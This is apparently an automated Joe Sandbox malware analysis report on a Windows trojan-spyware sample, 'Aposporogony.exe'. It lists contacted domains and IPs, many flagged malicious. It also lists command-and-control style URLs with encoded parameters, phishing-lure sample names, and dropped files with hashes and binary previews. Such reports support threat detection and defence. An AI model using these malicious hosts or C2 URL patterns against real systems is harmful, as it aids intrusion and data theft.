http://www.foreca.com	explorer.exe, 00000007.00000000.2629840506.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2552659875.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2340947888.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2481949703.0000000005259000.00000004.00000001.00020000.00000000.sdmp	false		high
http://xn--299aa717y.xn--3e0b707e/wp-includes/blocks/navigation/view-modal.min.js?ver=45f05135277abf	mstsc.exe, 00000006.00000002.6591491425.0000000006140000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://powerpoint.office.comEMo	explorer.exe, 00000007.00000000.2498854972.000000000D1C5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2571389832.000000000D1C5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2647850198.000000000D1C5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2363489457.000000000D1C5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	mstsc.exe, 00000006.00000002.6593675560.0000000007323000.00000004.00000800.00020000.00000000.sdmp	false		high
http://xn--299aa717y.xn--3e0b707e/wp-includes/js/jquery/jquery.min.js?ver=3.6.1	mstsc.exe, 00000006.00000002.6591491425.0000000006140000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/	explorer.exe, 00000007.00000000.2498854972.000000000D1C5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2571389832.000000000D1C5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2647850198.000000000D1C5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2363489457.000000000D1C5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://xn--299aa717y.xn--3e0b707e/wp-includes/wlwmanifest.xml	mstsc.exe, 00000006.00000002.6591491425.0000000006140000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shell	explorer.exe, 00000007.00000000.2629840506.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2552659875.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2340947888.0000000005259000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2481949703.0000000005259000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.78	drive.google.com	United States	15169	GOOGLEUS	false
154.204.24.45	www.youlian.fund	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	true
192.185.32.157	royaltechglobal.com	United States	46606	UNIFIEDLAYER-AS-1US	true
194.245.148.189	www.apidachicago.org	Germany	5517	CSLDE	true
96.43.100.185	www.plentywindshield.com	United States	64050	BCPL-SGBGPNETGlobalASNSG	true
192.232.217.125	wellnessprodia.com	United States	46606	UNIFIEDLAYER-AS-1US	true
217.160.0.1	www.codemars.academy	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
66.29.151.40	www.gouldent.site	United States	19538	ADVANTAGECOMUS	true
38.55.15.214	www.xiaoxiuzhen.com	United States	174	COGENT-174US	true
45.33.23.183	www.labour-office.com	United States	63949	LINODE-APLinodeLLCUS	true
45.130.41.24	www.searchbot.su	Russian Federation	198610	BEGET-ASRU	true
185.101.158.239	www.funknive.ch	Switzerland	207143	HOSTTECH-ASCH	true
142.250.185.161	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
3.13.90.76	www.gumba.shop	United States	16509	AMAZON-02US	true
50.87.192.144	xn--29-oj9ik7b890b.net	United States	46606	UNIFIEDLAYER-AS-1US	true
2.57.90.16	botbillionsblaze.website	Lithuania	47583	AS-HOSTINGERLT	true
103.63.2.175	www.005404.com	Hong Kong	132742	GGL-AS-APGuochaoGrouplimitedHK	true
195.24.68.23	www.phootka.ru	Russian Federation	48287	RU-CENTERRU	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	751076
Start date and time:	2022-11-21 19:15:53 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 17m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Aposporogony.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/7@21/18
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 40.3% (good quality ratio 36.8%) Quality average: 74.9% Quality standard deviation: 30.8%
HCA Information:	Successful, ratio: 100% Number of executed functions: 136 Number of non-executed functions: 142
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, UserOOBEBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, MoUsoCoreWorker.exe, svchost.exe, UsoClient.exe
Excluded domains from analysis (whitelisted): wdcpalt.microsoft.com, client.wns.windows.com, login.live.com, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, wdcp.microsoft.com, fe3cr.delivery.mp.microsoft.com
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
154.204.24.45	Tudbrlet.exe	Get hash	malicious	Browse	www.youlian.fund/nqhc/?qVnHaF=1bbXu4zHEnq0&7no4=MkuUvDTfzFLprDgv0d/zCzEj80YoaBEagpxYPCZUDQ8arMBq5slv03vCCvkVDe0A6/c8Ceh5Akj/CnOQLB+qucpYk5Fxn1TZTg==
192.185.32.157	Tudbrlet.exe	Get hash	malicious	Browse	www.royaltechglobal.com/nqhc/?7no4=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==&qVnHaF=1bbXu4zHEnq0
	Trubaduren.exe	Get hash	malicious	Browse	www.royaltechglobal.com/nqhc/?9rG=4h9DYRixlTZd&yDH=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==
	Buffone.exe	Get hash	malicious	Browse	www.royaltechglobal.com/ma6v/?dTVt1=FRvD&tFNx=02Bl+cWfDlBZkMWEaX3krzisSzoQcLPhqMMIqiW9WqGr0h3YO475jCxhTV2goziKF+Syp7Sv7uWbMFLP8pdTjzRLXH/ArU/oUQ==
194.245.148.189	Tudbrlet.exe	Get hash	malicious	Browse	www.apidachicago.org/nqhc/?qVnHaF=1bbXu4zHEnq0&7no4=6/QR3dlMV8DnDzXq/IQFMQKijd2A7lxAIJkdxNKkhe40n6kgsPq7UgH72h9AXiRjRkbt4wliAP55gS4vzkyfbvVcBKnLGlwpJg==
	Trubaduren.exe	Get hash	malicious	Browse	www.apidachicago.org/nqhc/?yDH=6/QR3dlMV8DnDzXq/IQFMQKijd2A7lxAIJkdxNKkhe40n6kgsPq7UgH72h9AXiRjRkbt4wliAP55gS4vzkyfbvVcBKnLGlwpJg==&mZcHl=r4SlwD8
	PO-JST-270322.exe	Get hash	malicious	Browse	www.swartz.center/cxeo/?W8JpR=NCwLeJ3wUUFynVIDlrIOTEkbUfjyuckEvOuhcnpXuC/VMxxNC9IWNto61Dliak/bDV8d&YT=HhWDab
	Swift copy payment.exe	Get hash	malicious	Browse	www.pillarbox-studio.art/6dmq/?7nUdM=w8L0NF&j2=MsCITNO0KM/cL+AZR5CJ33SxI4+as8/LEdyyeYUf8lcPemOHhyKiBjEDDo5Wf6MgyNVH
	Revised Shipping Documents 385099_pdf.exe	Get hash	malicious	Browse	www.adornor.online/ns87/?TrThDXL=1XA65DX/vwdZYdcpYm6Xh14zlwfWFzy5EBfmposwpTord/i56WMVSv41xjOrUH7YB88D&GHeTN=f0GDyV1p1diLt
	FeDex Shipment Confirmation.exe	Get hash	malicious	Browse	www.nelly9800.com/09rb/?P6A=Jt/HrQrEbJEELsbO+qwZRBy+ZnkQGAsxDt3bRH6cGHQJq/1YwQ3KPn2IiPK+S8jX+qwt&JBZLXP=DxlDfVnX6PNt-
	SPECIFICATION REQUEST.exe	Get hash	malicious	Browse	www.firstbyphone.com/gbr/?ExlPdj=9T+hwsCOJ30KUotVp56F2oUIcU+kzNAqslJ8t+71ysezeCdq1RydECu9CMdgx5D0Nzh8&8p=FjoPdvK0HvW0
	New Vendor - Setup Form.exe	Get hash	malicious	Browse	www.escapenet.cloud/rerx/?D48t=Q9ck5ers9BRLMlJf61o9XRLjiuyTqr/Oe/Tl6l+b5s2DMDIpsaq2BatzRWhA+8ZQikji&IbYdX4=Dxo0sPDXHVC4H
	73proforma invoice.exe	Get hash	malicious	Browse	www.pelikoodi.com/ga/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.phootka.ru	Scan AR441 SHEETS.exe	Get hash	malicious	Browse	195.24.68.23
	xLd3hdhrqJ.exe	Get hash	malicious	Browse	195.24.68.23
	HSBC Payment Advice_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	Tudbrlet.exe	Get hash	malicious	Browse	195.24.68.23
	file.exe	Get hash	malicious	Browse	195.24.68.23
	Trubaduren.exe	Get hash	malicious	Browse	195.24.68.23
	SCAN AWB Docs No-285380XXX.exe	Get hash	malicious	Browse	195.24.68.23
	HSBC Advice_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	HSBC Adivce_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	HSBC Advice_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	DOC Reference Invoice_72_1421 Note.exe	Get hash	malicious	Browse	195.24.68.23
	HSBC Advice_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	HSBC Advice_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	Purchase List_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	Purchase List_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	Purchase List_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	Purchase List_pdf.exe	Get hash	malicious	Browse	195.24.68.23
	Shipment Documentation-REF GZARX019-10-22.bat.exe	Get hash	malicious	Browse	195.24.68.23
	RMTT Documentation-REF GZARX019-10-22.exe	Get hash	malicious	Browse	195.24.68.23
	Purchase List_pdf.exe	Get hash	malicious	Browse	195.24.68.23

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
XIAOZHIYUN1-AS-APICIDCNETWORKUS	payment copy_$31,400.exe	Get hash	malicious	Browse	156.253.89.190
	lvHi6S56bE.elf	Get hash	malicious	Browse	156.253.91.133
	HamIKfqcua.elf	Get hash	malicious	Browse	156.234.204.178
	jgPlvvYeSo.elf	Get hash	malicious	Browse	156.254.164.255
	1X9CwAKCW5.elf	Get hash	malicious	Browse	156.253.103.127
	zg8P6HaVf2.elf	Get hash	malicious	Browse	156.234.199.246
	arm7.elf	Get hash	malicious	Browse	156.234.1.249
	factura pdf.exe	Get hash	malicious	Browse	156.234.37.5
	SWIFT_EUR 17,970.25.exe	Get hash	malicious	Browse	156.254.147.131
	go6jHyU8yl.exe	Get hash	malicious	Browse	156.254.145.14
	file.exe	Get hash	malicious	Browse	156.254.174.120
	Scan_001.js	Get hash	malicious	Browse	156.254.145.14
	soI8yStlNX.elf	Get hash	malicious	Browse	156.241.59.13
	SDQb9uiEp9.elf	Get hash	malicious	Browse	156.255.211.5
	Quotation Request.exe	Get hash	malicious	Browse	156.234.70.54
	Tudbrlet.exe	Get hash	malicious	Browse	154.204.24.45
	Untitled-09112022.xls	Get hash	malicious	Browse	45.207.116.88
	Kapsejladsers (2).exe	Get hash	malicious	Browse	156.254.172.36
	file.exe	Get hash	malicious	Browse	156.254.145.14
	DHL-INV-MVU.exe	Get hash	malicious	Browse	156.254.142.11

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	Nueva lista de pedidos.exe	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	https://firebasestorage.googleapis.com/v0/b/assycompley.appspot.com/o/to8gx2vknjuca5k78f82.html?alt=media&token=72a430fd-e9c7-4932-8cf0-a213a64254df#name@gmail.com	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	file.exe	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	https://us-west-2.protection.sophos.com/?d=gingrapp.com&u=aHR0cDovL2VtYWlsLm1haWxndW4uZ2luZ3JhcHAuY29tL2MvZUp4VXpFOVBnekFZZ1BGUFUyNlEwZ0tGQXdkMVlZa3hHbzNMbHQzZXZuM0xjT1dQTGJETlQyOTI4T0Q5ZVg2bUJzcEZYa1JVcDBWUmNWa1ZQSXRPZFpXcFFtZFNZeVUwbGtxVnFTV3JVc3FGaFZTQ2lycWFTeVdrUklxdEZpck9DNEZ4bVJzVjI5SVl3eXVORWkzTGVBLWRhNWNoYWJ1aDlUQk5DWTU5NU9yVFBFOU1QakRSTU5GUTRzRjBTMEFZd01DOVlLTDVvREF1SG1rWG9LVUV3blJsc2xtOFkzTHpiNVpQT185endPSHktWFpPZXBwaEpSOW9HZzFDbUVNU19qd201SEhfdk9yaHZPaXQ0Mlo3ZGNnZnYyRl83T2xnVnV5djU1Zi1kZFh2bk1sTjVHdlM0M0JMWERmUGpnTEwtRmRuN2UweWVtZnU0RzhBQUFEX18xVXJaWXM=&i=NjBlN2U0YjcyYzU4ZjEwZjVlMTAxOGEw&t=REpubjFoRjROWXdoaWZPRktrS0dXSWN5R3l3N0IvNDFSSUdaZmk1KzdvYz0=&h=c48938bfb13e497e8706340db09941a4&s=AVNPUEhUT0NFTkNSWVBUSVY7uy5ifmEVJg80a0a5KrC1bMbgSP5ZWgOuGGz--wPrL_2DpnmRxkU2uRIOtWRYzs3sFvyJ8ESaRm6Tz-d67nZMJv1hgw7CQOVESxq3uFSAtQ	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	E1UtrRGIiB.html	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	https://www.people.work.gd/logon.html	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	https://eecole-my.sharepoint.com:443/:f:/g/personal/y_rangel_eecol_com_ec/EoVuEwzhIedDtq9lDyieD9UBSuK6KHuAeXE77j10C5PyzQ?e=5%3aacsq7R&at=9	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	OSKO.HTML	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	file.exe	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	audio.mp335.htm	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	proforma pdf.exe	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	gimp_958.exe	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	NDA_Non-Disclosure Agreement_NFE-PROJECT.exe	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	RFQ No. 102250.vbs	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	Policy Handbook.html	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	20221117_300495_XMLNOTA.msi	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	https://bladna24.ma/wp-content/uploads/2022/10/903F053F-02FE-4C90-8493-FD8948C4F279.jpeg	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	____.bat.exe	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	id-F.637b86912384e.zip	Get hash	malicious	Browse	142.250.185.78 142.250.185.161
	file.exe	Get hash	malicious	Browse	142.250.185.78 142.250.185.161

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\nsm2525.tmp\System.dll	Aposporogony.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	proforma pdf.exe	Get hash	malicious	Browse
	proforma pdf.exe	Get hash	malicious	Browse
	Payment advis pdf.scr.exe	Get hash	malicious	Browse
	Payment advis pdf.scr.exe	Get hash	malicious	Browse
	Af.exe	Get hash	malicious	Browse
	Af.exe	Get hash	malicious	Browse
	ordine C220205 pdf.exe	Get hash	malicious	Browse
	ordine C220205 pdf.exe	Get hash	malicious	Browse
	Request for Quote (Waseda University) 29- 08-2022.exe	Get hash	malicious	Browse
	Request for Quote (Waseda University) 29- 08-2022.exe	Get hash	malicious	Browse
	Request for Quote (Waseda University) 29- 08-2022.exe	Get hash	malicious	Browse
	Request for Quote (Waseda University) 29- 08-2022.exe	Get hash	malicious	Browse
	rK3atzDTJ5.exe	Get hash	malicious	Browse
	rK3atzDTJ5.exe	Get hash	malicious	Browse
	4YtwuMUF12.exe	Get hash	malicious	Browse
	4YtwuMUF12.exe	Get hash	malicious	Browse
	EIgDZnwJJg.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\231-EqK-

Process:	C:\Windows\SysWOW64\mstsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 5, database pages 59, cookie 0x4f, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	1.1305327154874678
Encrypted:	false
SSDEEP:	192:oLt4nKTjebGAUJp/XH9euJDvphC+KRmquPWSTVumQ6:it4nsJp/39RDhw+KRmqu+cVumQ
MD5:	D331C900DDE8ACB523C51D9448205C0A
SHA1:	BDB3366F54876E78F76A6244EDA7A4C302FEB91D
SHA-256:	F199798DF1C37E3A8F6FFF1E208F083CF687F5C6A220DCAD42BB68F2120181CD
SHA-512:	415E4F4F26D4F861063676EA786C2941DB8DB7E248E32D84595BC7D531CE19669AFDCB447BC18B0B723839984CD15269FF6E89EBCD168D8EBD0EC7AF86CC92E7
Malicious:	false
Preview:	SQLite format 3......@ .......;...........O......................................................O}...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Dybfrossen.ini

Process:	C:\Users\user\Desktop\Aposporogony.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.131687083026442
Encrypted:	false
SSDEEP:	3:pDQo7JKU2QYEJry:FQov1YEw
MD5:	09EFF7D465578AB16342D01B9115172C
SHA1:	13311B4DEBC749082CFB1A65DA02759642A9C1D7
SHA-256:	1B5F1F40B8BA4A1F6C314D8C2E1F16D138A70C0D96A3010CF4EC4D44110A443F
SHA-512:	62F99CCB5C6E936A61279DCA2AECB61D6B1B7E3E7E750B0D4C38F10BFE3EE0CE02BC58FA2B87C6784BF60BE0A700BBF179FD8905781E6B0007DE64B8B391685F
Malicious:	false
Preview:	[Decimallngdernes]..Floragrafere=Palms..

C:\Users\user\AppData\Local\Temp\Whiteshank.lnk

Process:	C:\Users\user\Desktop\Aposporogony.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1232
Entropy (8bit):	3.28415737885973
Encrypted:	false
SSDEEP:	12:8wl0wsXUd9CtIBruAr0ys7TJj8HQYmG+CCa5AOJv+XMJsW+sl/AwzMCNVZdv4t2p:8/GrQTJj8w8+Ba55Jv+cyP2V9JT
MD5:	6060A318E7549AE9C0A53E63ABC97525
SHA1:	A82234F1CDCD11A76002C42AB4EF1F8E16DE90C9
SHA-256:	267A1976134B79669AAC99BE61F80882BA98C907E52DB3CB94182422FA641F1E
SHA-512:	ED7F58995435F37FA0641FEC58C53C96B247AD79E5D65D4FD09BD94E8BF6B89F4CB6C9003100A20FBABFBE9B46DA8366891D9FA78643951804DB12929797857C
Malicious:	false
Preview:	L..................F........................................................s....P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........Public..>............................................P.u.b.l.i.c.....T.1...........Videos..>............................................V.i.d.e.o.s.....l.1...........Undisputatious..N............................................U.n.d.i.s.p.u.t.a.t.i.o.u.s.....h.1...........Octastylos191.L............................................O.c.t.a.s.t.y.l.o.s.1.9.1.....x.2...........Overabundant92.rev..V............................................O.v.e.r.a.b.u.n.d.a.n.t.9.2...r.e.v..."...I.....\.....\.....\.....\.P.u.b.l.i.c.\.V.i.d.e.o.s.\.U.n.d.i.s.p.u.t.a.t.i.o.u.s.\.O.c.t.a.s.t.y.l.o.s.1.9.1.\.O.v.e.r.a.b.u.n.d.a.n.t.9.2...r.e.v.X.C.:.\.U.s.e.r.s.\.A.r.t.h.u.r.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.T.e.m.p.l.a.t.e.s.\.O.g.t.i.e.r.n.\.H.a.m.i.l

C:\Users\user\AppData\Local\Temp\nsm2525.tmp\System.dll

Process:	C:\Users\user\Desktop\Aposporogony.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	11776
Entropy (8bit):	5.890541747176257
Encrypted:	false
SSDEEP:	192:X24sihno0bW+l97H4GB7QDs91kMtwtobTr4u+QHbazMNHT7dmNIEr:m8vJl97JeoxtN/r3z7YV
MD5:	75ED96254FBF894E42058062B4B4F0D1
SHA1:	996503F1383B49021EB3427BC28D13B5BBD11977
SHA-256:	A632D74332B3F08F834C732A103DAFEB09A540823A2217CA7F49159755E8F1D7
SHA-512:	58174896DB81D481947B8745DAFE3A02C150F3938BB4543256E8CCE1145154E016D481DF9FE68DAC6D48407C62CBE20753320EBD5FE5E84806D07CE78E0EB0C4
Malicious:	false
Joe Sandbox View:	Filename: Aposporogony.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: proforma pdf.exe, Detection: malicious, Browse Filename: proforma pdf.exe, Detection: malicious, Browse Filename: Payment advis pdf.scr.exe, Detection: malicious, Browse Filename: Payment advis pdf.scr.exe, Detection: malicious, Browse Filename: Af.exe, Detection: malicious, Browse Filename: Af.exe, Detection: malicious, Browse Filename: ordine C220205 pdf.exe, Detection: malicious, Browse Filename: ordine C220205 pdf.exe, Detection: malicious, Browse Filename: Request for Quote (Waseda University) 29- 08-2022.exe, Detection: malicious, Browse Filename: Request for Quote (Waseda University) 29- 08-2022.exe, Detection: malicious, Browse Filename: Request for Quote (Waseda University) 29- 08-2022.exe, Detection: malicious, Browse Filename: Request for Quote (Waseda University) 29- 08-2022.exe, Detection: malicious, Browse Filename: rK3atzDTJ5.exe, Detection: malicious, Browse Filename: rK3atzDTJ5.exe, Detection: malicious, Browse Filename: 4YtwuMUF12.exe, Detection: malicious, Browse Filename: 4YtwuMUF12.exe, Detection: malicious, Browse Filename: EIgDZnwJJg.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....oZ...........!..... ...........).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...x....@.......(..............@....reloc..~....P.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Ogtiern\Hamiltonianism\Scups\GameLibraryPlugin.asc

Process:	C:\Users\user\Desktop\Aposporogony.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1245
Entropy (8bit):	5.462849750105637
Encrypted:	false
SSDEEP:	24:hM0mIAvy4Wvsqs1Ra7JZRGNeHX+AYcvP2wk1RjdEF3qpMk5:lmIAq1UqsziJZ+eHX+AdP2TvpMk5
MD5:	5343C1A8B203C162A3BF3870D9F50FD4
SHA1:	04B5B886C20D88B57EEA6D8FF882624A4AC1E51D
SHA-256:	DC1D54DAB6EC8C00F70137927504E4F222C8395F10760B6BEECFCFA94E08249F
SHA-512:	E0F50ACB6061744E825A4051765CEBF23E8C489B55B190739409D8A79BB08DAC8F919247A4E5F65A015EA9C57D326BBEF7EA045163915129E01F316C4958D949
Malicious:	false
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>..<title>404 - File or directory not found.</title>..<style type="text/css">.. ..body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}..-->..</style>..</head>..<body>..<div id="header"><h1>Server Error</h1></div>..<div id="content">.. <div class="co

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Ogtiern\Hamiltonianism\Scups\Opbyggeligstes.Avi

Process:	C:\Users\user\Desktop\Aposporogony.exe
File Type:	data
Category:	dropped
Size (bytes):	182640
Entropy (8bit):	7.1051402484142185
Encrypted:	false
SSDEEP:	3072:YtwqAtBot4IfWAc5wqCLf+sADxihKYM5yaUYsy1:xtBoFeAc8ADxihKYaSo
MD5:	F38E6ED4704470A7397F2AD0472A3D26
SHA1:	DCCFE462F78CB618377AEF21E04008BE275A46D2
SHA-256:	42F48A222928592871423CFCDD4D072ED111988651C28A5FC81F3FE440744756
SHA-512:	1BC0030F282E52E15753578E315BC82DA4CD838227975B60934B4A9F155B1DC28A9EBB7C1515511A4866B044CED0A732B98C5401A3D02636821372805B1E7A3B
Malicious:	false
Preview:	.]M...&...3..K!q.Zs..Q..2..5..H}D...........mu7.O.-#.p...j...c. .....H.......7$.ntk..H.n..;.Hd..q.;{..f.....m....`...<.r.5....V.......0.PP..'.. ..X.:...u.....av1.*.\|......?.....}i.~...-..)....x.......R.'..>S..,..<.]..6'..:../{Z..J......C..J.B.Q..bc...W.cE.c.Y.3...?....'.$v.v..P.m[Z......x..;..'+~.6...#(U......\|....k...Rb.......nW.d...X}].,s.....Y.}....wrE.o....'t.0hN..u.\|...X.X..RN..m...i....a.....p.... .)Z.68.\|?.4..>...'.....e.\|..F......O.^S..+.....6p..n].5}.....Y"c..U.B.m.w.)..]...A.."T.......Nw...\n_^.k.s...v.......=....z..$..e@9....a.Q3'`.].b.a.....5.......\|..l:V....oj.'....A...."..f`....d...D..y.....hf.......k.d..k.I.P...e..d.A[..g.u...1b.....\.#..D%zA. +UY...[......h............8.Eh0..jj>.#V.a...#....FZy.C.........O......8FM...&0...>@....4....1...d.j.#'QCk......d.78..\.q.....xA.....oZ)....b.x....o.i....X.2..R C.I./~.Lh.8%...q.G.W@.(..YS...L./.2.6r.n..G......:]".....~.~<^...^...AL.......?.c6..{.t.4.G..m.l......./..e.".B^....{X.P

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Ogtiern\Hamiltonianism\Scups\Skrsommers.App

Process:	C:\Users\user\Desktop\Aposporogony.exe
File Type:	data
Category:	dropped
Size (bytes):	59353
Entropy (8bit):	7.9962152957426005
Encrypted:	true
SSDEEP:	1536:FBBoiySuZs7t5dSHRwgxt1C5+0etoYYbcof/0pv3i:Fnoi3uZQQRw67D7cr+vS
MD5:	5B04B03C760D5662727029FBBA64D3EF
SHA1:	BED9A3375FAAAA4B6D16D2BFBE920A7FCFB88050
SHA-256:	D881139B4E2715FD845CD35CDB61931D482160D491753C71F486A1AB3426C4AB
SHA-512:	E7B4FAF20D434D56A8B311EADF10BBB51809D5F3E7DB8E86F5786471DB1B14B4739C1F1DACE9B601831B83092F54DAE5807CC83F4C7C11606006C3B488D0BC9B
Malicious:	false
